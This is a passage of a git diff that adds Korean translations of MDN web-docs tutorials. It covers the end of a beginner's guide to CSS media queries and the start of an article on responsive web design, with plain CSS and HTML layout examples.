+<p><a href="https://mdn.github.io/css-examples/learn/media-queries/and.html">이 예제를</a> 브라우저에서 열거나 <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/and.html">소스를 보세요</a>.</p>
+
+<h3 id="논리합_미디어_쿼리">"논리합" 미디어 쿼리</h3>
+
+<p>만약 여러분에게 쿼리는 잔뜩있는 데, 그 중 일도 일치할 수 없다면, 여러분은 해당 쿼리들을 콤마로 분리할 수 있습니다. 아래 예제에서 뷰포트가 최소 400픽셀 너비 또는 장치가 가로 보기 방향이라면 텍스트는 파란색이 될 것입니다. 둘 중 하나라도 사실이 아니라면 쿼리의 조건문은 일치합니다.</p>
+
+<pre class="brush: css"><code>@media screen and (min-width: 400px), screen and (orientation: landscape) {
+    body {
+        color: blue;
+    }
+}</code></pre>
+
+<p><a href="https://mdn.github.io/css-examples/learn/media-queries/or.html">이 예제를</a> 브라우저에서 열거나 <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/or.html">소스를 보세요</a>.</p>
+
+<p>"</p>
+
+<h3 id="부정_논리_미디어_쿼리">"부정 논리" 미디어 쿼리</h3>
+
+<p><code>not</code> 연산자를 사용하여 전체 미디어 쿼리를 부정할 수 있습니다. 이것은 미디어 쿼리의 전체 의미를 반대로 뒤집습니다. 따라서 다음 예에서 텍스트는 보기 방향이 세로일 경우에만 파란색이 됩니다.</p>
+
+<pre class="brush: css"><code>@media not all and (orientation: landscape) {
+    body {
+        color: blue;
+    }
+}</code></pre>
+
+<p><a href="https://mdn.github.io/css-examples/learn/media-queries/not.html">이 예제를</a> 브라우저에서 열거나 <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/not.html">소스를 보세요</a>.</p>
+
+<h2 id="분기점을_선정하는_방법">분기점을 선정하는 방법</h2>
+
+<p>반응형 디자인 초창기에는 많은 디자이너가 매우 구체적인 화면 크기를 공략 대상으로 삼으려고 시도했습니다. 인기있는 휴대폰 및 태블릿 화면의 크기 목록이 공개되어 해당 기기의 뷰포트와 깔끔하게 일치하도록 디자인을 만들 수 있게 되었습니다.</p>
+
+<p>지금은 엄청나게 다양한 크기의 지나치게 너무 많은 장치가 있어 그런 방식은 현실성이 없습니다. 즉, 모든 디자인마다 (기기의) 특정 크기에 맞추는 공략보다 더 나은 접근 방법은 콘텐츠가 어떤 식으로든 깨지기 시작하는 해당 (기기의) 크기에 해당하는 디자인을 변경하는 것입니다. 어쩌면 선 길이가 너무 길어지거나 상자 형태의 사이드바가 찌그러져 읽기가 어려워질 수도 있습니다. 그 지경이 되면 미디어 쿼리를 사용하여 이용할 수 있는 공간 대비 개선된 형태의 사이트가 나오도록 디자인을 변경해야할 지점인 것입니다. 이는 사용 기기의 정확한 화면 크기가 무엇이든 상관없이 모든 범주에 맞는 전방위적인 접금법을 말합니다. 미디어 쿼리가 도입되는 지점을 <strong>breakpoints</strong>라고 합니다.</p>
+
+<p>Firefox DevTools의 <a href="/en-US/docs/Tools/Responsive_Design_Mode">반응형 디자인 모드</a>는 이러한 분기점이 어느 부분이 될지 알아내는 데 매우 유용합니다. 동 툴은 미디어 쿼리를 추가하고 디자인을 조정하면서 콘텐츠가 개선되는 위치를 파악하기 위해 뷰포트를 쉽게 크거나 작게 만들 수 있습니다.</p>
+
+<p><img alt="파이어폭스 개발툴상에 조판 갈무리" src="https://mdn.mozillademos.org/files/16867/rwd-mode.png" style="height: 917px; width: 1443px;"></p>
+
+<h2 id="능동_학습_모바일_우선_반응형_디자인">능동 학습: 모바일 우선 반응형 디자인</h2>
+
+<p>대체로 반응형 디자인에 대한 두 가지 접근법을 취할 수 있습니다. 데스크톱 또는 가장 넓은 뷰로 시작한 뒤 뷰포트의 축소에 맞춰 요소를 주변으로 이동시키기 위한 분기점을 추가하거나 가장 작은 뷰로 시작한 뒤에 뷰포트의 크기 확대에 맞춰 조판을 추가할 수 있습니다. 이 두 번째 접근법은 <strong>mobile first</strong> 반응형 디자인으로 설명되며 종종 선호되는 최상의 접근법입니다.</p>
+
+
+
+<p>가장 작은 장치용 뷰는 일반 대열에서 나타나는 것처럼 종종 단순한 단일 열 형태의 콘텐츠가 됩니다. 즉 여러분은 작은 장치용이라 많은 조판을 할 필요가 없다는 말입니다. 다시말해 소스를 순서대로 잘 정렬하면 기본값으로 읽을 수 있는 조판이 됩니다.</p>
+
+<p>아래의 길라잡이는 매우 간단한 조판으로 동 접근 방식을 안내해 줄 것입니다. 사이트 제작 과정에서는 미디어 쿼리내에서 조정할 수 있는 것이 더 많을 수 있지만, 그 접근 방식은 정확히 동일하게 됩니다.</p>
+
+<h3 id="길라잡이_간단한_모바일_우선_조판">길라잡이: 간단한 모바일 우선 조판</h3>
+
+<p>우리는 조판에 포함된 다양한 요소에 배경색을 추가하기 위해 일정한 씨에스에스를 적용한 에이치티엠엘 문서를 가지고 출발합니다.</p>
+
+<pre class="brush: css"><code>* {
+    box-sizing: border-box;
+}
+
+body {
+    width: 90%;
+    margin: 2em auto;
+    font: 1em/1.3 Arial, Helvetica, sans-serif;
+}
+
+a:link,
+a:visited {
+    color: #333;
+}
+
+nav ul,
+    aside ul {
+    list-style: none;
+    padding: 0;
+}
+
+nav a:link,
+nav a:visited {
+    background-color: rgba(207, 232, 220, 0.2);
+    border: 2px solid rgb(79, 185, 227);
+    text-decoration: none;
+    display: block;
+    padding: 10px;
+    color: #333;
+    font-weight: bold;
+}
+
+nav a:hover {
+    background-color: rgba(207, 232, 220, 0.7);
+}
+
+.related {
+    background-color: rgba(79, 185, 227, 0.3);
+    border: 1px solid rgb(79, 185, 227);
+    padding: 10px;
+}
+
+.sidebar {
+    background-color: rgba(207, 232, 220, 0.5);
+    padding: 10px;
+}
+
+article {
+    margin-bottom: 1em;
+}
+</code></pre>
+
+<p>우리는 우리가 조판에 변경을 가하지는 않았지만, 문서의 원본은 콘텐츠를 읽을 수 있는 방식으로 순서대로 정렬됩니다. 이것은 중요한 첫 번째 단계이며, 콘텐츠가 화면 읽기 프로그램(tts)에 의해 소리내여 읽혀질 경우 콘텐츠가 (읽을 문자열를) 이해될 수도록 보장합니다.</p>
+
+<pre class="brush: html"><code>&lt;body&gt;
+    &lt;div class="wrapper"&gt;
+      &lt;header&gt;
+        &lt;nav&gt;
+          &lt;ul&gt;
+            &lt;li&gt;&lt;a href=""&gt;사이트 소개&lt;/a&gt;&lt;/li&gt;
+            &lt;li&gt;&lt;a href=""&gt;연락처&lt;/a&gt;&lt;/li&gt;
+            &lt;li&gt;&lt;a href=""&gt;우리팀 안내&lt;/a&gt;&lt;/li&gt;
+            &lt;li&gt;&lt;a href=""&gt;블로그&lt;/a&gt;&lt;/li&gt;
+          &lt;/ul&gt;
+        &lt;/nav&gt;
+      &lt;/header&gt;
+      &lt;main&gt;
+        &lt;article&gt;
+          &lt;div class="content"&gt;
+            &lt;h1&gt;채식주의자!&lt;/h1&gt;
+            &lt;p&gt;
+              ...
+            &lt;/p&gt;
+          &lt;/aside&gt;
+        &lt;/article&gt;
+
+        &lt;aside class="sidebar"&gt;
+          &lt;h2&gt;채식에 관한 외부 링크&lt;/h2&gt;
+          &lt;ul&gt;
+            &lt;li&gt;
+              ...
+            &lt;/li&gt;
+          &lt;/ul&gt;
+        &lt;/aside&gt;
+      &lt;/main&gt;
+
+      &lt;footer&gt;&lt;p&gt;&amp;copy;2019&lt;/p&gt;&lt;/footer&gt;
+    &lt;/div&gt;
+  &lt;/body&gt;
+</code></pre>
+
+<p>이 간단한 조판은 모바일에서도 잘 작동한다. 우리가 파이어폭스 데브툴 내부 반응형 디자인 모드에서 조판을 본다면, 우리는 그것이 사이트의 직관적인 모바일 뷰로 보더라도 꽤 잘 작동한다는 것을 알 수 있다.</p>
+
+<p><a href="https://mdn.github.io/css-examples/learn/media-queries/step1.html">이 예제를</a> 브라우저에서 열거나 <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step1.html">소스를 보세요</a>.</p>
+
+<p><strong>당신이 우리의 진행 과정대로 이 예제를 실행해보려면 <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step1.html">step1.html</a>의 사본을 당신 컴퓨터에 만드세요.</strong></p>
+
+<p>이 지점부터는 반응형 디자인 모드뷰가 점차 확대되어 라인 길이가 상당히 길어지는 모습을 확인할 정도가 되며, 수평선 형태의 탐색 메뉴가 표시될 공간을 갖추고 있습니다. 여기에서 우리는 첫 번째 미디어 쿼리를 추가할 것입니다. 사용자가 텍스트 크기를 늘리게 되면, 텍스트 크기가 작은 장비를 가진 사람과 비교해 비슷한 라인 길이지만 뷰포트가 확대되는 순간에 분기점이 발생한다는 의미입니다. 따라서 우리는 ems 단위를 사용할 것입니다.</p>
+
+<p><strong>아래 코드를 step1.html 씨에스에스의 하단에 추가하세요.</strong></p>
+
+<pre class="brush: css"><code>@media screen and (min-width: 40em) {
+    article {
+        display: grid;
+        grid-template-columns: 3fr 1fr;
+        column-gap: 20px;
+    }
+
+    nav ul {
+        display: flex;
+    }
+
+    nav li {
+        flex: 1;
+    }
+}
+</code></pre>
+
+<p>이 씨에스에스는 문서 안에 있는 문서 콘텐츠와 aside 요소 내부 관련 정보까지 2단 조판을 우리에게 제공합니다. 또한 우리는 가변상자를 사용하여 탐색 메뉴를 일렬로 배치했습니다.</p>
+
+<p><a href="https://mdn.github.io/css-examples/learn/media-queries/step2.html">2단계</a> 파일을 브라우저에서 열거나 <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step2.html">소스를 보세요</a>.</p>
+
+<p>사이드바가 새 단을 형성할 수 있는 충분한 공간이 있다고 느낄 때까지 너비를 계속 확장합니다. 미디어 쿼리안에서 주요 요소를 두 개의 열 형태의 격자로 만들 것입니다. 그런 다음 두 개의 사이드바가 서로 나란히 정렬되도록 문서의 {{cssxref("margin-bottom")}}을 제거해야하며, 바닥글 상단에 {{cssxref("border")}}(테두리)를 추가하게 됩니다. 일반적으로 이러한 미세 조정은 각 분기점 도달시 디자인을 좋게 보이게 하기 위해 여러분이 할 일입니다.</p>
+
+<p><strong>다시 한 번 아래 코드를 step1.html 씨에스에스의 하단에 추가합니다.</strong></p>
+
+<pre class="brush: css"><code>@media screen and (min-width: 70em) {
+    main {
+        display: grid;
+        grid-template-columns: 3fr 1fr;
+        column-gap: 20px;
+    }
+
+    article {
+        margin-bottom: 0;
+    }
+
+    footer {
+        border-top: 1px solid #ccc;
+        margin-top: 2em;
+    }
+}</code>
+</pre>
+
+<p><a href="https://mdn.github.io/css-examples/learn/media-queries/step3.html">3단계</a> 파일을 브라우저에서 열거나 <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step3.html">소스를 보세요</a>.</p>
+
+<p>최종 예제를 다른 너비로 보면 사용 가능한 너비에 따라 디자인이 반응하고 단일 열, 2열 또는 3열로 작동하는 방법을 볼 수 있습니다. 이것은 모바일 우선 반응형 디자인의 아주 간단한 예입니다.</p>
+
+<h2 id="당신에게_정말_미디어_쿼리가_필요할까요">당신에게 정말 미디어 쿼리가 필요할까요?</h2>
+
+<p>가변상자, 격자 및 다단 조판은 모두 굳이 미디어 쿼리를 필요로 하지 않고도 가변적이며 심지어 반응형 구성 요소를 만들 수 있는 방법을 제공합니다. 미디어 쿼리를 추가하지 않고도 이러한 조판 메서드를 사용해 원하는 것을 달성할 수 있는지 고려할 가치가 있습니다. 예를 들어, 여러분은 적어도 200 픽셀 너비의 카드 집합을 원할 수 있으며, 최대 200 픽셀이라면 주요 문서 부분에 맞아떨어질 수 있습니다. 이는 미디어 쿼리를 전혀 사용하지 않고 격자 조판만으로 얻을 수 있습니다.</p>
+
+<p>이것은 아래 용법으로 달성될 수 있습니다.</p>
+
+<pre class="brush: html"><code>&lt;ul class="grid"&gt;
+    &lt;li&gt;
+        &lt;h2&gt;카드 1&lt;/h2&gt;
+        &lt;p&gt;...&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+        &lt;h2&gt;카드 2&lt;/h2&gt;
+        &lt;p&gt;...&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+        &lt;h2&gt;카드 3&lt;/h2&gt;
+        &lt;p&gt;...&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+        &lt;h2&gt;카드 4&lt;/h2&gt;
+        &lt;p&gt;...&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+        &lt;h2&gt;카드 5&lt;/h2&gt;
+        &lt;p&gt;...&lt;/p&gt;
+    &lt;/li&gt;
+&lt;/ul&gt;</code></pre>
+
+<pre class="brush: css"><code>.grid {
+    list-style: none;
+    margin: 0;
+    padding: 0;
+    display: grid;
+    gap: 20px;
+    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+}
+
+.grid li {
+    border: 1px solid #666;
+    padding: 10px;
+}</code></pre>
+
+<p><a href="https://mdn.github.io/css-examples/learn/media-queries/grid.html">이 격자 예제를</a> 브라우저에서 열거나 <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/grid.html">소스를 보세요</a>.</p>
+
+<p>상기 예제를 브라우저에서 열면 화면을 넓히거나 좁히거나 하여 열 트랙 수가 변경되는 것을 확인할 수 있습니다. 이 방법의 좋은 점은 격자가 뷰포트 너비를 보는 게 아니라 해당 구성 요소에 맞춰 이용할 수 있는 너비를 살핀다는 것입니다. 당신에게 미디어 쿼리가 전혀 필요하지 않을수도! 있다는 제안으로 이번 절을 마감하는 것은 이상하게 보일 수도 있습니다. 그러나 실제로 미디어 쿼리로 강화된 현대적 조판 메서드를 잘 사용하면 최상의 결과를 얻을 수 있습니다.</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>여러분은 이 단원에서 미디어 쿼리에 대해 배웠으며 모바일 우선 반응형 디자인을 실제로 생성하는 방법도 알아 보았습니다.</p>
+
+<p>우리가 만든 것을 시작점로 더 많은 미디어 쿼리 조건을 테스트할 수 있습니다. 예를 들어, 방문자가 <code>pointer</code> 미디어 기능을 사용하여 거친 포인터를 가지고 있는 것을 감지하면 탐색 메뉴의 크기를 변경할 수 있습니다.</p>
+
+<p>또한 서로 다른 구성 요소를 추가하고 미디어 쿼리를 추가한다든지 또는 가변상자나 격자와 같은 조판 방법을 사용하는 것이 구성 요소를 반응형으로 만드는 가장 적절한 방법인지 여부를 실험할 수 있습니다. 바른 방식 혹은 그른 방식 따윈 없습니다. 말하자면 어떤 것이 디자인과 콘텐츠에 가장 적합한지 실험하고 관찰해야 합니다.</p>
+
+
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="이번_단위에는">이번 단위에는</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">씨에스에스 조판 소개</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">일반 대열</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">가변상자</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">격자</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Floats">부동체</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/위치잡기">위치잡기</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 조판</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/반응형_디자인">반응형 디자인</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서">미디어 쿼리 초보자 안내서</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/레거시_조판_메서드">레거시 조판 메서드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9D%B4%EC%A0%84_%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80_%EC%A7%80%EC%9B%90">이전 브라우저 지원</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">조판 이해도 필수 평가</a></li>
+</ul>
diff --git a/files/ko/learn/css/css_layout/반응형_디자인/index.html b/files/ko/learn/css/css_layout/반응형_디자인/index.html
new file mode 100644
index 0000000000..b1311448c7
--- /dev/null
+++ b/files/ko/learn/css/css_layout/반응형_디자인/index.html
@@ -0,0 +1,333 @@
+---
+title: 반응형 디자인
+slug: Learn/CSS/CSS_layout/반응형_디자인
+tags:
+  - 가변상장
+  - 격자
+  - 다단
+  - 미디어 쿼리
+  - 반응형 웹 디자인
+  - 유동 격자
+  - 이미지
+  - 타이포크래피
+translation_of: Learn/CSS/CSS_layout/Responsive_Design
+---
+<div>{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout")}}</div>
+
+<p>웹디자인 초창기에는 페이지를 구축할 때 매우 구체적인 화면 크기를 공략 대상으로 삼았습니다. 사용자가 웹디자이너가 예상한 것보다 크거나 작은 화면의 기기를 가지고 있다면 원하지 않는 스크롤 막대에서부터 지나치게 긴 길이의 라인, 사용 공간이 부족하게 되는 결과를 낳습니다. 다양한 화면 크기가 등장함에 따라 <em>responsive web design</em> 개념이 등장했습니다. 말하자면 서로 다른 화면 너비와 해상도 등에 맞게 웹 페이지가 조판과 모양을 변경할 수 있는 일련의 실례를 집대성한 것입니다. 이 아이디어가 우리가 멀티 디바이스 웹에 대한 설계 방식을 바꾸게 만든 장본인입니다. 이 문서에서 우리는 그 내용을 숙달하기 위해 당신이 알아야하는 주요 기술을 이해하도록 도울 것입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결 사항:</th>
+   <td>에이치티엠엘의 기초인 (<a href="/ko/docs/Learn/HTML/Introduction_to_HTML">에이치티엠엘 입문서</a>를 공부하세요), 그리고 씨에스에스의 작동 방식을 파악하기 위해 (<a href="/en-US/docs/Learn/CSS/First_steps">씨에스에스 첫걸음</a>과 <a href="/ko/docs/Learn/CSS/Building_blocks">씨에스에스 구성 블록</a>를 공부하세요.)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>반응형 디자인의 역사와 핵심적인 계념 파악하기</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="웹사이트_조판_역사">웹사이트 조판 역사</h2>
+
+<p>역사의 어느 시점 여러분이 웹 사이트를 디자인할 때 두 가지 옵션이 있었습니다.</p>
+
+<ul>
+ <li>여러분은 웹브라우저 창에 요소를 연장하도록 하는 <em>liquid</em>(유동) 사이트를 만들 수 있습니다.</li>
+ <li>픽셀 크기가 고정되어 있는 <em>fixed width</em> 사이트를 만들 수 있었습니다.</li>
+</ul>
+
+<p>이러한 두 가지 접근법은 사이트를 디자인하는 사람의 화면에서 가장 보기 좋은 웹 사이트로 귀결되는 경향이 있었습니다! 유동 사이트는 (아래에서 볼 수 있듯이) 디자이너의 화면보다 더 작은 화면에는 찌부러진 디자인이 나오고, 더 큰 화면에는 읽을 수 없을 정도로 길이가 긴 라인을 만들어냅니다.</p>
+
+<figure><img alt="두 개의 열이 있는 조판이 모바일 크기 뷰포트에서 찌부러집니다." src="https://mdn.mozillademos.org/files/16834/mdn-rwd-liquid.png" style="display: block; height: 406px; width: 300px;">
+<figcaption></figcaption>
+</figure>
+
+<div class="blockIndicator note">
+<p><strong>주석</strong>: 여기 간단한 유동 조판을 보세요: <a href="https://mdn.github.io/css-examples/learn/rwd/liquid-width.html">예제</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/liquid-width.html">소스 코드</a>. 예제를 보면 브라우저 창을 안팎으로 드래그하여 서로 다른 크기에 반응해 어떻게 보이는지 확인합니다.</p>
+</div>
+
+<p>고정 폭 사이트는 (아래에서 보듯) 사이트 너비보다 작은 화면상에 수평 스크롤 막대가 생기는 위험이 있고 더 큰 화면상에서는 웹디자인 가장자리에 많은 흰색 공간이 생길 위험이 있습니다.</p>
+
+<figure><img alt="이동 뷰포트에 수평 스크롤 막대가 있는 조판입니다." src="https://mdn.mozillademos.org/files/16835/mdn-rwd-fixed.png" style="display: block; height: 411px; width: 300px;">
+<figcaption></figcaption>
+</figure>
+
+<div class="blockIndicator note">
+<p><strong>주석</strong>: 여기 간단한 고정 너비 조판을 보세요: <a href="https://mdn.github.io/css-examples/learn/rwd/fixed-width.html">예제</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/fixed-width.html">소스 코드</a>. 역시 브라우저 창 크기를 변경할 때 결과를 관찰하세요.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>주석</strong>: 상단 화면는 파이어폭스 개발툴 안에서 <a href="/en-US/docs/Tools/Responsive_Design_Mode">반응형 디자인 모드</a>을 사용해 갈무리 한 것입니다.</p>
+</div>
+
+<p>모바일 웹이 첫 번째 피처폰의 등장으로 현실화되기 시작하면서 모바일을 수용하고자 하는 회사들은 일반적으로 (종종 <em>m.example.com</em> 또는 <em>example.mobi</em> 이런 식의) 서로 다른 URL를 사용하여 그들의 사이트의 특별한 모바일 버전을 만들게 됩니다. 이는 해당 사이트의 두 가지 별도 버전을 개발하고 최신 상태로 유지해야 한다는 것을 의미했습니다.</p>
+
+<p>게다가, 이러한 모바일 사이트들을 경험해보면 종종 매우 축소된 기능을 제공합니다. 모바일 장치가 더욱 강력해지고 전체 웹 사이트를 표시할 수 있게 되면서, 그러한 기능 축소 모바일 버전 사이트에 갖힌 자신을 발견한 모바일 사용자들은 그들이 알고 있는 해당 사이트의 전체 기능이 있는 데스크탑 버전의 정보에 접근할 수 없었기에 좌절감을 안겨주었습니다.</p>
+
+<h2 id="반응형_디자인의_전신_가변_조판">반응형 디자인의 전신 가변 조판</h2>
+
+<p>유동 및 고정 너비의 웹사이트 구축 방법의 단점을 해결하기 위해 여러 가지 접근법이 개발되었습니다. 2004년 카메론 아담스는 다양한 화면 해상도에 적응할 수 있는 디자인을 만드는 방법을 설명하는 <a href="http://www.themaninblue.com/writing/perspective/2004/09/21/">해상도 의존 조판</a>이라는 제목의 게시물을 작성했습니다. 이 접근방식은 화면 해상도를 감지하고 정확한 씨에스에스를 로드하려면 자바스크립트가 필요했습니다.</p>
+
+<p>조이 미클리 길렌워터는 그녀의 <a href="http://zomigi.com/blog/voices-that-matter-slides-available/">작업</a>을 통해 화면을 채우는 것과 완전히 고정된 화면 크기 사이를 만족시키는 평균값을 찾으려고 시도하는 등 가변적인 사이트를 만들 수 있는 다양한 방법을 기술하고 공식화하는 데 산파 역할을 했습니다.</p>
+
+<h2 id="반응형_디자인">반응형 디자인</h2>
+
+<p>반응형 디자인이라는 용어는 <a href="https://alistapart.com/article/responsive-web-design/">2010년 이단 마르코트가 만든 신조어로</a> 세 가지 기술을 조합한 용법을 설명하고 있습니다.</p>
+
+<ol>
+ <li>첫 번째는 이미 길렌워터에 의해 탐구되고 있던 유동 격자라는 아이디어였으며, 마르코트의 <a href="https://alistapart.com/article/fluidgrids/">유동 격자</a>란(2009년 <code>A List Apart</code>에 발표) 문서에서 읽을 수 있다.</li>
+ <li>두 번째 기술은 <a href="http://unstoppablerobotninja.com/entry/fluid-images">유동 이미지</a>라는 개념이다. <code>max-width</code> 속성을 <code>100%</code>로 설정하는 매우 간단한 기술을 사용하면 이미지의 포함된 열이 이미지의 고유 크기보다 좁아지면 이미지가 더 작아지지만 더 커지지는 않습니다. 이것은 이미지가 대열이탈이 아니라 가변적인 크기의 열에 맞게 축소될 수 있지만 열이 이미지보다 넓어지면 확대되지 않고 픽셀화될 수 있습니다.</li>
+ <li>세 번째 핵심 구성요소는 <a href="/ko/docs/Web/CSS/Media_Queries">미디어 쿼리</a>였습니다. 미디어 쿼리는카메론 아담스가 앞서 자바스크립의 사용을 탐구했던 조판 전환 유형을 씨에스에스만을 사용하여 실현합니다. 모든 화면 크기마다 하나씩 조판을 부여하기 보다는 조판을 변경할 수 있었다. 사이드바를 작은 화면에 맞게 재배치하거나 대체 탐색 매뉴를 표시할 수 있습니다.</li>
+</ol>
+
+<p><strong>반응형 웹 디자인은 별도의 기술이 아니다</strong>라는 것을 이해하는 것이 중요합니다. 즉, 웹 디자인에 대한 접근 방식이나 콘텐츠를 보는데 사용되는 장치에 <em>반응</em>할 수 있는 조판 생성에 사용되는 모범 사례 집합을 기술하는 데 사용되는 용어다. 마르코트의 원래 연구에서 이것은 (부동체를 사용하는) 가변 격자와 미디어 쿼리를 의미했지만, 그의 문서가 쓰여진지 거의 10년 만에 반응형으로 동작하는 것이 기본값이 되었다. 현대의 씨에스에스 조판 메서드는 본질적으로 반응형이며 반응형 사이트 설계를 쉽게하기 위해 웹 플랫폼에 새로운 요소들이 내장되어 있습니다.</p>
+
+<p>이 문서의 나머지 절에서는 반응형 사이트를 만들 때 사용할 수 있는 다양한 웹 플랫폼 기능에 대해 안내할 것입니다.</p>
+
+<h2 id="미디어_쿼리">미디어 쿼리</h2>
+
+<p>반응형 디자인은 오롯이 미디어 쿼리 때문에 등장할 수 있었습니다. 미디어 쿼리 수준 3 규격은 2009년 권장사항 후보가 되었으며, 이는 브라우저에서 구현할 준비가 되어 있음을 의미합니다. 미디어 쿼리에서는 일련의 테스트를 실행할 수 있습니다(예로 사용자의 화면이 특정 너비나 특정 해성도보다 큰지 여하에 따라). 씨에스에스를 선택적으로 적용하여 사용자의 필요에 따라 페이지를 적절하게 스타일링합니다.</p>
+
+<p>예를 들어, 아래 미디어 쿼리는 현재 웹 페이지가 화면 미디어로 표시되고 있는지(따라서 인쇄된 문서가 아님) 확인하며 뷰포트는 적어도 800픽셀 너비인지 테스트합니다. <code>.container</code> 선택기는 씨에스에스는 이 두 가지가 사실인 경우에만 적용됩니다.</p>
+
+<pre class="brush: css"><code>@media screen and (min-width: 800px) {
+  .container {
+    margin: 1em 2em;
+  }
+} </code>
+</pre>
+
+<p>스타일시트에 여러 미디어 쿼리를 추가하여 다양한 화면 크기에 맞는 최적의 전체 조판 또는 조판의 일부를 조정할 수 있습니다. 미디어 쿼리가 도입되고 조판이 변경된 지점을 <em>breakpoints</em>(분기점)라고 합니다.</p>
+
+<p>미디어 쿼리를 사용할 때 일반적인 접근법은 좁은 화면 장치(예: 휴대폰)에 대한 간단한 단일 열 조판을 만든 다음, 큰 화면인지 점검하고, 화면 폭이 충분하다는 것을 알게 될 때 다단 조판을 구현하는 것이다. 이를 <strong>모바일 우선</strong> 디자인이라고 표현하는 경우가 많다.</p>
+
+<p><a href="/ko/docs/Web/CSS/Media_Queries">미디어 쿼리</a>에 대한 MDN 문서를 더 찾아보십시요.</p>
+
+<h2 id="가변_격자">가변 격자</h2>
+
+<p>반응형 사이트는 분기점 전후로 자체 조판을 변경할 뿐만 아니라 가변 격자상에도 동일하게 구축됩니다. 가변 격자는 현존하는 모든 장치 크기를 공략 대상으로 삼을 필요가 없으며, 그 대상에 대한 완벽한 픽셀 조판을 구축할 필요가 없다는 것을 의미합니다. 완벽한 픽셀 접근 방식은 존재하는 다양한 크기의 장치들이 엄청나게 많고, 적어도 데스크톱에서는 사람들이 항상 브라우저 창을 최대화하지는 않는다는 사실을 감안할 때 불가능할 것입니다.</p>
+
+<p>가변 격자를 사용하면 요소를 분기점에 추가하고, 콘텐츠가 불량으로 보이기 시작하는 지점에서 디자인을 변경할 수 있습니다. 예를 들어, 화면 크기가 커지면 라인 길이가 읽을 수 없게 길어지거나 상자가 좁아질 때 각 라인에 두 단어로 찌브러집니다.</p>
+
+<p>반응형 디자인 초창기에는 조판 기능을 수행하는 유일한 옵션은 <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">부동체</a>를 사용하는 것이 었습니다. 가변 부동 조판은 각 요소에 백분율 너비를 부여하고 조판 전체의 너비가 100%를 넘지 않도록 보장함으로써 달성되었습니다. 마르코트는 유동 격자와 관련 그의 원래 작품에서 픽셀을 사용하여 설계된 조판을 채택하여 백분율로 변환하는 공식을 상세히 설명했습니다.</p>
+
+<pre><code>target / context = result </code>
+</pre>
+
+<p>예를 들어, 목표 열 크기가 60픽셀이고, 거기에 들어갈 상황(혹은 컨테이너)가 이 960픽셀이면, 씨에스에스에서 사용할 수 있는 값을 얻기 위해 우선 60픽셀을 960픽셀로 나누고 거기에 소수점을 오른쪽으로 두칸 이동합니다.</p>
+
+<pre class="brush: css"><code>.col {
+  width: 6.25%; /* 60 / 960 = 0.0625 */
+} </code>
+</pre>
+
+<p>이 접근 방식은 오늘날 웹상에 여러 곳에서 발견될 것이며, 여기 우리의 <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">레거시 조판 메서드</a> 문서의 조판 절에 문서화되어 있습니다. 여러분이 업무 중에 이 접근법을 사용하는 웹 사이트를 발견할 가능성이 높기 때문에 부동 기반의 가변 조판을 사용하여 현대적인 사이트를 구축하지는 않겠지만, 그 내용을 이해할 가치는 있습니다.</p>
+
+<p>다음 예제에서는 미디어 쿼리와 가변 격자를 사용하여 간단한 반응형 디자인를 보여줍니다. 좁은 화면상에서는 상자가 상대 요소 위해 겹겹이 쌓여지는 조판 형태로 표시됩니다.</p>
+
+<figure><img alt="상자 무리가 상대 요소의 상단에 수직으로 겹겹이 쌓이는 모바일뷰 조판입니다." src="https://mdn.mozillademos.org/files/16836/mdn-rwd-mobile.png" style="display: block; height: 407px; width: 300px;">
+<p>On wider screens they move to two columns:</p>
+
+<figcaption></figcaption>
+</figure>
+
+<figure><img alt="2단 조판이 적용된 데스크탑 뷰입니다." src="https://mdn.mozillademos.org/files/16837/mdn-rwd-desktop.png" style="display: block; height: 217px; width: 600px;">
+<figcaption></figcaption>
+</figure>
+
+<div class="blockIndicator note">
